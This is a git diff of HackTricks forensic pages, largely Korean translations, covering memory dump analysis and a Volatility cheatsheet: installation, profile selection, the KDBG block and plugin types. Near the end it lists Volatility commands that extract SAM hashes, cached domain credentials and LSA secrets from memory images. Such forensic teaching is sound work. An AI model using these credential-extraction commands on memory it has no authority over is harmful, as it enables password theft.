+**해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **와** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
\
-[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
-오늘 바로 액세스하세요:
+[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화하세요**.\
+오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md
index af781a82f..955514192 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md
@@ -1,69 +1,75 @@
# 메모리 덤프 분석
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)로부터 **제로**부터 **히어로**가 되는 **AWS 해킹** 배우기
+HackTricks 지원하기
-* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고**하고 싶으신가요? 혹은 **PEASS의 최신 버전에 액세스**하거나 **HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
-* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **해킹 트릭을 공유하고 PR을 제출하여** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 참여**하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
-[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 중요한 사이버 보안 이벤트 중 하나이며 **유럽**에서 가장 중요한 이벤트 중 하나입니다. **기술 지식을 촉진하는 미션**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들을 위한 뜨거운 만남의 장입니다.
+[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식 증진**이라는 사명을 가지고 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %}
## 시작
-pcap 내부에서 **악성 코드**를 **검색**하기 시작하세요. [**악성 코드 분석**](../malware-analysis.md)에서 언급된 **도구**를 사용하세요.
+pcap 내에서 **악성코드**를 **검색**하기 시작하세요. [**악성코드 분석**](../malware-analysis.md)에서 언급된 **도구**를 사용하세요.
-## [Volatility](volatility-cheatsheet.md)
+## [볼라틸리티](volatility-cheatsheet.md)
-**Volatility는 메모리 덤프 분석을 위한 주요 오픈 소스 프레임워크**입니다. 이 Python 도구는 외부 소스 또는 VMware VM의 덤프를 분석하여 덤프의 OS 프로필에 따라 프로세스 및 암호와 같은 데이터를 식별합니다. 플러그인으로 확장 가능하여 포렌식 조사에 매우 다재다능합니다.
+**볼라틸리티는 메모리 덤프 분석을 위한 주요 오픈 소스 프레임워크입니다**. 이 Python 도구는 외부 소스 또는 VMware VM에서 덤프를 분석하여 프로세스 및 비밀번호와 같은 데이터를 덤프의 OS 프로필에 따라 식별합니다. 플러그인으로 확장 가능하여 포렌식 조사에 매우 유용합니다.
-[**여기에서 치트 시트를 찾을 수 있습니다**](volatility-cheatsheet.md)
+[**여기에서 치트시트를 찾으세요**](volatility-cheatsheet.md)
-## 미니 덤프 충돌 보고서
+## 미니 덤프 크래시 보고서
-덤프가 작을 때(몇 KB, 아마도 몇 MB)라면 미니 덤프 충돌 보고서이며 메모리 덤프가 아닙니다.
+덤프가 작을 경우(몇 KB 또는 몇 MB 정도) 이는 아마도 미니 덤프 크래시 보고서일 것이며 메모리 덤프가 아닙니다.
![](<../../../.gitbook/assets/image (532).png>)
-Visual Studio가 설치되어 있다면 이 파일을 열어 프로세스 이름, 아키텍처, 예외 정보 및 실행 중인 모듈과 같은 기본 정보를 바인딩할 수 있습니다.
+Visual Studio가 설치되어 있다면 이 파일을 열고 프로세스 이름, 아키텍처, 예외 정보 및 실행 중인 모듈과 같은 기본 정보를 바인딩할 수 있습니다:
![](<../../../.gitbook/assets/image (263).png>)
-예외를 로드하고 디컴파일된 명령을 볼 수도 있습니다.
+예외를 로드하고 디컴파일된 명령어를 볼 수도 있습니다.
![](<../../../.gitbook/assets/image (142).png>)
![](<../../../.gitbook/assets/image (610).png>)
-어쨌든, Visual Studio는 덤프의 심도 분석을 수행하기에는 최적의 도구가 아닙니다.
+어쨌든, Visual Studio는 덤프의 깊이 있는 분석을 수행하기 위한 최상의 도구가 아닙니다.
-덤프를 **깊이 검사**하기 위해 **IDA** 또는 **Radare**를 사용하여 열어야 합니다.
+**IDA** 또는 **Radare**를 사용하여 **깊이** 있게 검사해야 합니다.
-[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 중요한 사이버 보안 이벤트 중 하나이며 **유럽**에서 가장 중요한 이벤트 중 하나입니다. **기술 지식을 촉진하는 미션**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들을 위한 뜨거운 만남의 장입니다.
+[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식 증진**이라는 사명을 가지고 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %}
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)로부터 **제로**부터 **히어로**가 되는 **AWS 해킹** 배우기
+HackTricks 지원하기
-* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고**하고 싶으신가요? 혹은 **PEASS의 최신 버전에 액세스**하거나 **HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
-* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **해킹 트릭을 공유하고 PR을 제출하여** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 참여**하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md
index a114d2df0..9c791f4aa 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md
@@ -1,120 +1,79 @@
# Volatility - CheatSheet
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
+Support HackTricks
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요.
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
-* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 기교를 공유**하세요.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 높은 사이버 보안 행사이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술적인 지식을 촉진**하기 위한 미션을 가지고 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.
+[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %}
-여러 Volatility 플러그인을 병렬로 실행할 수 있는 **빠르고 미친** 것을 원한다면 [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility)을 사용할 수 있습니다.
-
+여러 Volatility 플러그인을 병렬로 실행할 수 있는 **빠르고 미친** 것을 원하신다면 다음을 사용할 수 있습니다: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility)
```bash
python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # It will use the most important plugins (could use a lot of space depending on the size of the memory)
```
-
## 설치
### volatility3
-
```bash
git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3
python3 setup.py install
python3 vol.py —h
```
-
### volatility2
{% tabs %}
{% tab title="Method1" %}
-**1. 이미지 프로파일 확인**
-
-* `volatility2 -f imageinfo`
-
-**2. 프로세스 목록 확인**
-
-* `volatility2 -f --profile= pslist`
-
-**3. 특정 프로세스의 메모리 덤프 추출**
-
-* `volatility2 -f --profile= memdump -p -D `
-
-**4. 파일 추출**
-
-* `volatility2 -f --profile= filescan | grep -i `
-
-**5. 네트워크 연결 확인**
-
-* `volatility2 -f --profile= netscan`
-
-**6. 레지스트리 정보 확인**
-
-* `volatility2 -f --profile= hivelist`
-
-**7. 레지스트리 키 추출**
-
-* `volatility2 -f --profile= printkey -K `
-
-**8. 사용자 정보 확인**
-
-* `volatility2 -f --profile= hivescan`
-
-**9. 사용자 패스워드 추출**
-
-* `volatility2 -f --profile= hashdump`
-
-**10. 네트워크 트래픽 분석**
-
-* `volatility2 -f --profile= tcpdump -p -D `
-{% endtab %}
-{% endtabs %}
-
```
Download the executable from https://www.volatilityfoundation.org/26
```
+{% endtab %}
-방법 2
-
+{% tab title="방법 2" %}
```bash
git clone https://github.com/volatilityfoundation/volatility.git
cd volatility
python setup.py install
```
+{% endtab %}
+{% endtabs %}
-## Volatility 명령어
+## Volatility Commands
-[Volatility 명령어 참조](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan)에서 공식 문서에 접근할 수 있습니다.
+Access the official doc in [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan)
-### "list" vs. "scan" 플러그인에 대한 참고 사항
+### “list” 플러그인과 “scan” 플러그인에 대한 주의 사항
-Volatility는 플러그인에 대해 두 가지 주요 접근 방식을 가지고 있으며, 이는 때로는 플러그인 이름에 반영될 수 있습니다. "list" 플러그인은 Windows 커널 구조를 탐색하여 프로세스(메모리의 `_EPROCESS` 구조체의 연결 리스트를 찾고 탐색)와 같은 정보를 검색합니다. OS 핸들(핸들 테이블을 찾고 나열하고 찾은 포인터를 역참조 등)을 찾습니다. 이들은 요청된 경우 Windows API가 수행하는 것과 거의 동일하게 동작합니다. 예를 들어, 프로세스 목록을 나열하도록 요청하면 "list" 플러그인은 상당히 빠르지만, 악성 코드에 의해 조작될 수 있는 Windows API와 동일한 취약점을 가지고 있습니다. 예를 들어, 악성 코드가 DKOM을 사용하여 프로세스를 `_EPROCESS` 연결 리스트에서 분리하면 해당 프로세스는 작업 관리자에 표시되지 않으며 pslist에도 표시되지 않습니다.
+Volatility는 플러그인에 대해 두 가지 주요 접근 방식을 가지고 있으며, 이는 때때로 이름에 반영됩니다. “list” 플러그인은 Windows Kernel 구조를 탐색하여 프로세스(메모리에서 `_EPROCESS` 구조의 연결 리스트를 찾고 탐색)와 OS 핸들(핸들 테이블을 찾고 나열하며, 발견된 포인터를 역참조 등)과 같은 정보를 검색하려고 합니다. 이들은 요청 시 Windows API가 프로세스를 나열하는 것처럼 행동합니다.
-반면에 "scan" 플러그인은 특정 구조체로 역참조될 때 의미가 있을 수 있는 것들을 메모리에서 추출하는 것과 유사한 방식으로 작동합니다. 예를 들어, `psscan`은 메모리를 읽고 그것으로부터 `_EPROCESS` 객체를 만들려고 시도합니다(관심 있는 구조체의 존재를 나타내는 4바이트 문자열을 검색하는 pool-tag 스캐닝을 사용합니다). 이 방법의 장점은 종료된 프로세스를 찾을 수 있으며, 악성 코드가 `_EPROCESS` 연결 리스트를 조작하더라도 플러그인은 메모리에 여전히 구조체가 남아있을 것입니다(프로세스가 실행되기 위해서는 여전히 존재해야 하기 때문입니다). 단점은 "scan" 플러그인이 "list" 플러그인보다 약간 느리며, 때로는 잘못된 양성 결과를 반환할 수 있다는 것입니다(구조체 일부가 다른 작업에 의해 덮어쓰여 종료된 프로세스).
+이로 인해 “list” 플러그인은 꽤 빠르지만, 악성 소프트웨어에 의해 조작될 수 있는 Windows API와 마찬가지로 취약합니다. 예를 들어, 악성 소프트웨어가 DKOM을 사용하여 프로세스를 `_EPROCESS` 연결 리스트에서 분리하면, 이는 작업 관리자에 나타나지 않으며 pslist에서도 나타나지 않습니다.
-출처: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/)
+반면에 “scan” 플러그인은 특정 구조로 역참조될 때 의미가 있을 수 있는 것들을 메모리에서 조각내는 접근 방식을 취합니다. 예를 들어, `psscan`은 메모리를 읽고 이를 기반으로 `_EPROCESS` 객체를 만들려고 합니다(이는 관심 있는 구조의 존재를 나타내는 4바이트 문자열을 검색하는 풀 태그 스캐닝을 사용합니다). 장점은 종료된 프로세스를 찾아낼 수 있으며, 악성 소프트웨어가 `_EPROCESS` 연결 리스트를 조작하더라도 플러그인은 여전히 메모리에서 구조를 찾을 수 있습니다(프로세스가 실행되기 위해서는 여전히 존재해야 하므로). 단점은 “scan” 플러그인이 “list” 플러그인보다 약간 느리며, 때때로 잘못된 긍정 결과(너무 오래 전에 종료되어 다른 작업에 의해 구조의 일부가 덮어씌워진 프로세스)를 생성할 수 있다는 것입니다.
-## OS 프로파일
+From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/)
+
+## OS Profiles
### Volatility3
-readme 안에 설명된 대로, 지원하려는 **OS의 심볼 테이블**을 \_volatility3/volatility/symbols\_에 넣어야 합니다.\
-다양한 운영 체제에 대한 심볼 테이블 팩은 다음에서 **다운로드**할 수 있습니다:
+readme에 설명된 바와 같이 지원하려는 **OS의 심볼 테이블**을 _volatility3/volatility/symbols_에 넣어야 합니다.\
+다양한 운영 체제에 대한 심볼 테이블 팩은 **다운로드**를 위해 다음에서 사용할 수 있습니다:
* [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip)
* [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip)
@@ -122,16 +81,13 @@ readme 안에 설명된 대로, 지원하려는 **OS의 심볼 테이블**을 \_
### Volatility2
-#### 외부 프로파일
-
-지원되는 프로파일 목록을 얻으려면 다음을 수행할 수 있습니다:
+#### 외부 프로필
+지원되는 프로필 목록을 얻으려면 다음을 수행할 수 있습니다:
```bash
./volatility_2.6_lin64_standalone --info | grep "Profile"
```
-
-만약 **새로 다운로드한 프로필** (예: 리눅스 프로필)을 사용하려면 다음 폴더 구조를 생성해야 합니다: _plugins/overlays/linux_. 그리고 이 폴더 안에 프로필을 포함한 zip 파일을 넣으세요. 그런 다음, 다음 명령을 사용하여 프로필의 번호를 얻으세요:
-
+만약 **다운로드한 새 프로필**(예: 리눅스 프로필)을 사용하고 싶다면, 다음과 같은 폴더 구조를 어딘가에 만들어야 합니다: _plugins/overlays/linux_ 그리고 이 폴더 안에 프로필이 포함된 zip 파일을 넣습니다. 그런 다음, 프로필의 번호를 얻으려면 다음을 사용하세요:
```bash
./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info
Volatility Foundation Volatility Framework 2.6
@@ -143,202 +99,43 @@ LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 - A Profile for Linux CentOS7_3.10
VistaSP0x64 - A Profile for Windows Vista SP0 x64
VistaSP0x86 - A Profile for Windows Vista SP0 x86
```
+You can **download Linux and Mac profiles** from [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles)
-[https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles)에서 **Linux 및 Mac 프로파일을 다운로드**할 수 있습니다.
-
-이전 청크에서 볼 수 있듯이 프로파일은 `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`라고 불리며, 다음과 같이 사용할 수 있습니다:
-
+In the previous chunk you can see that the profile is called `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, and you can use it to execute something like:
```bash
./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan
```
-
-#### 프로필 탐색
-
-```plaintext
-volatility -f imageinfo
+#### 프로필 발견
```
-
-* 메모리 덤프 파일의 정보를 확인합니다.
-
-```plaintext
-volatility -f kdbgscan
+volatility imageinfo -f file.dmp
+volatility kdbgscan -f file.dmp
```
-
-* 커널 디버깅 세션 ID를 스캔하여 찾습니다.
-
-```plaintext
-volatility -f pslist
-```
-
-* 프로세스 목록을 표시합니다.
-
-```plaintext
-volatility -f psscan
-```
-
-* 프로세스 목록을 스캔하여 찾습니다.
-
-```plaintext
-volatility -f pstree
-```
-
-* 프로세스 트리를 표시합니다.
-
-```plaintext
-volatility -f dlllist -p
-```
-
-* 특정 프로세스의 DLL 목록을 표시합니다.
-
-```plaintext
-volatility -f handles -p
-```
-
-* 특정 프로세스의 핸들 목록을 표시합니다.
-
-```plaintext
-volatility -f cmdline -p
-```
-
-* 특정 프로세스의 명령줄 인수를 표시합니다.
-
-```plaintext
-volatility -f filescan
-```
-
-* 파일 목록을 스캔하여 찾습니다.
-
-```plaintext
-volatility -f malfind
-```
-
-* 악성 코드를 찾습니다.
-
-```plaintext
-volatility -f malfind -D
-```
-
-* 악성 코드를 찾고, 결과를 지정한 디렉토리에 저장합니다.
-
-```plaintext
-volatility -f malfind -p
-```
-
-* 특정 프로세스에서 악성 코드를 찾습니다.
-
-```plaintext
-volatility -f malfind -p -D
-```
-
-* 특정 프로세스에서 악성 코드를 찾고, 결과를 지정한 디렉토리에 저장합니다.
-
-```plaintext
-volatility -f vadinfo -p
-```
-
-* 특정 프로세스의 가상 주소 공간 정보를 표시합니다.
-
-```plaintext
-volatility -f vadtree -p
-```
-
-* 특정 프로세스의 가상 주소 공간 트리를 표시합니다.
-
-```plaintext
-volatility -f vadwalk -p
-```
-
-* 특정 프로세스의 가상 주소 공간을 탐색합니다.
-
-```plaintext
-volatility -f vadtree -D
-```
-
-* 모든 프로세스의 가상 주소 공간 트리를 표시합니다.
-
-```plaintext
-volatility -f vadwalk -D
-```
-
-* 모든 프로세스의 가상 주소 공간을 탐색합니다.
-
-```plaintext
-volatility -f hivelist
-```
-
-* 레지스트리 키 목록을 표시합니다.
-
-```plaintext
-volatility -f hivedump -o -D
-```
-
-* 특정 레지스트리 키를 덤프하고, 결과를 지정한 디렉토리에 저장합니다.
-
-```plaintext
-volatility -f hivelist -o
-```
-
-* 특정 레지스트리 키의 오프셋을 확인합니다.
-
-```plaintext
-volatility -f printkey -o
-```
-
-* 특정 레지스트리 키의 내용을 표시합니다.
-
-```plaintext
-volatility -f printkey -o -K
-```
-
-* 특정 레지스트리 키의 내용을 표시합니다.
-
-```plaintext
-volatility -f printkey -o -K -y
-```
-
-* 특정 레지스트리 키의 내용을 표시합니다.
-
-```plaintext
-volatility -f printkey -o -K -y -o
-```
-
-* 특정 레지스트리 키의 내용을 표시하고, 결과를 지정한 디렉토리에 저장합니다.
-
-```
-```
-
-volatility imageinfo -f file.dmp volatility kdbgscan -f file.dmp
-
-````
#### **imageinfo와 kdbgscan의 차이점**
-[**여기에서**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)는 imageinfo가 단순히 프로파일 제안을 제공하는 반면, **kdbgscan**은 올바른 프로파일과 올바른 KDBG 주소(여러 개인 경우)를 확실히 식별하기 위해 설계되었습니다. 이 플러그인은 Volatility 프로파일과 관련된 KDBGHeader 서명을 스캔하고 잘못된 양성 결과를 줄이기 위해 타당성 검사를 적용합니다. 출력의 상세정도와 수행할 수 있는 타당성 검사의 수는 Volatility가 DTB를 찾을 수 있는지 여부에 따라 달라집니다. 따라서 이미 올바른 프로파일을 알고 있다면(imageinfo에서 프로파일 제안을 받았다면), 반드시 그것을 사용하십시오.
+[**여기에서**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): 단순히 프로필 제안을 제공하는 imageinfo와 달리, **kdbgscan**은 올바른 프로필과 올바른 KDBG 주소(여러 개가 있을 경우)를 긍정적으로 식별하도록 설계되었습니다. 이 플러그인은 Volatility 프로필과 연결된 KDBGHeader 서명을 스캔하고 잘못된 긍정 결과를 줄이기 위해 정상성 검사를 적용합니다. 출력의 상세도와 수행할 수 있는 정상성 검사 수는 Volatility가 DTB를 찾을 수 있는지에 따라 달라지므로, 이미 올바른 프로필을 알고 있거나 imageinfo에서 프로필 제안을 받은 경우, 반드시 그것을 사용해야 합니다.
-항상 kdbgscan이 찾은 **프로세스의 수**를 확인하십시오. 때로는 imageinfo와 kdbgscan이 **하나 이상의 적합한 프로파일을 찾을 수 있지만, 유효한 프로파일만이 일부 프로세스와 관련이 있을 것입니다** (이는 프로세스를 추출하기 위해 올바른 KDBG 주소가 필요하기 때문입니다).
+항상 **kdbgscan이 찾은 프로세스 수**를 확인하세요. 때때로 imageinfo와 kdbgscan은 **하나 이상의** 적합한 **프로필**을 찾을 수 있지만, **유효한 프로필만 프로세스와 관련이 있습니다** (이는 프로세스를 추출하기 위해 올바른 KDBG 주소가 필요하기 때문입니다).
```bash
# GOOD
PsActiveProcessHead : 0xfffff800011977f0 (37 processes)
PsLoadedModuleList : 0xfffff8000119aae0 (116 modules)
-````
+```
```bash
# BAD
PsActiveProcessHead : 0xfffff800011947f0 (0 processes)
PsLoadedModuleList : 0xfffff80001197ac0 (0 modules)
```
-
#### KDBG
-**커널 디버거 블록**은 Volatility와 다양한 디버거에 의해 수행되는 포렌식 작업에 있어서 중요합니다. Volatility에서는 **KDBG**라고 불리며, `_KDDEBUGGER_DATA64` 타입의 `KdDebuggerDataBlock`으로 식별됩니다. 이 블록에는 `PsActiveProcessHead`와 같은 필수적인 참조 정보가 포함되어 있습니다. 이 특정 참조는 프로세스 목록의 헤드를 가리키며, 모든 프로세스의 목록을 나열하는 데 필수적입니다. 이는 철저한 메모리 분석을 위해 근본적인 역할을 합니다.
-
-## 운영 체제 정보
+**커널 디버거 블록**은 Volatility에서 **KDBG**로 언급되며, Volatility와 다양한 디버거가 수행하는 포렌식 작업에 필수적입니다. `KdDebuggerDataBlock`으로 식별되며 `_KDDEBUGGER_DATA64` 유형을 가지며, `PsActiveProcessHead`와 같은 필수 참조를 포함합니다. 이 특정 참조는 프로세스 목록의 헤드를 가리키며, 모든 프로세스를 나열할 수 있게 하여 철저한 메모리 분석에 기본적입니다.
+## OS 정보
```bash
#vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info)
./vol.py -f file.dmp windows.info.Info
```
-
-플러그인 `banners.Banners`는 덤프에서 리눅스 배너를 찾기 위해 **vol3에서 사용할 수 있습니다**.
+The plugin `banners.Banners`는 **vol3에서 덤프에서 리눅스 배너를 찾기 위해 사용할 수 있습니다**.
## 해시/비밀번호
@@ -351,211 +148,9 @@ SAM 해시, [도메인 캐시된 자격 증명](../../../windows-hardening/steal
./vol.py -f file.dmp windows.cachedump.Cachedump #Grab domain cache hashes inside the registry
./vol.py -f file.dmp windows.lsadump.Lsadump #Grab lsa secrets
```
+{% endtab %}
-### Volatility 명령어 요약
-
-#### Volatility 기본 명령어
-
-* **imageinfo**: 이미지 정보를 표시합니다.
-* **kdbgscan**: 디버깅 세션을 찾습니다.
-* **kpcrscan**: KPCR을 찾습니다.
-* **pslist**: 프로세스 목록을 표시합니다.
-* **pstree**: 프로세스 트리를 표시합니다.
-* **psscan**: 프로세스 스냅샷을 표시합니다.
-* **dlllist**: DLL 목록을 표시합니다.
-* **handles**: 핸들 목록을 표시합니다.
-* **cmdline**: 명령줄 인수를 표시합니다.
-* **filescan**: 파일 스캔을 수행합니다.
-* **malfind**: 악성 코드 주소를 찾습니다.
-* **vadinfo**: 가상 주소 공간 정보를 표시합니다.
-* **vadtree**: 가상 주소 공간 트리를 표시합니다.
-* **vaddump**: 가상 주소 공간 덤프를 수행합니다.
-* **memdump**: 메모리 덤프를 수행합니다.
-* **moddump**: 모듈 덤프를 수행합니다.
-* **modscan**: 모듈 스캔을 수행합니다.
-* **ssdt**: SSDT 정보를 표시합니다.
-* **gdt**: GDT 정보를 표시합니다.
-* **idt**: IDT 정보를 표시합니다.
-* **ldrmodules**: LDR 모듈 정보를 표시합니다.
-* **apihooks**: API 후킹 정보를 표시합니다.
-* **svcscan**: 서비스 스캔을 수행합니다.
-* **ssdt**: SSDT 정보를 표시합니다.
-* **gdt**: GDT 정보를 표시합니다.
-* **idt**: IDT 정보를 표시합니다.
-* **ldrmodules**: LDR 모듈 정보를 표시합니다.
-* **apihooks**: API 후킹 정보를 표시합니다.
-* **svcscan**: 서비스 스캔을 수행합니다.
-* **driverirp**: 드라이버 IRP 정보를 표시합니다.
-* **drivermodule**: 드라이버 모듈 정보를 표시합니다.
-* **driverobject**: 드라이버 객체 정보를 표시합니다.
-* **driversection**: 드라이버 섹션 정보를 표시합니다.
-* **driverwmi**: 드라이버 WMI 정보를 표시합니다.
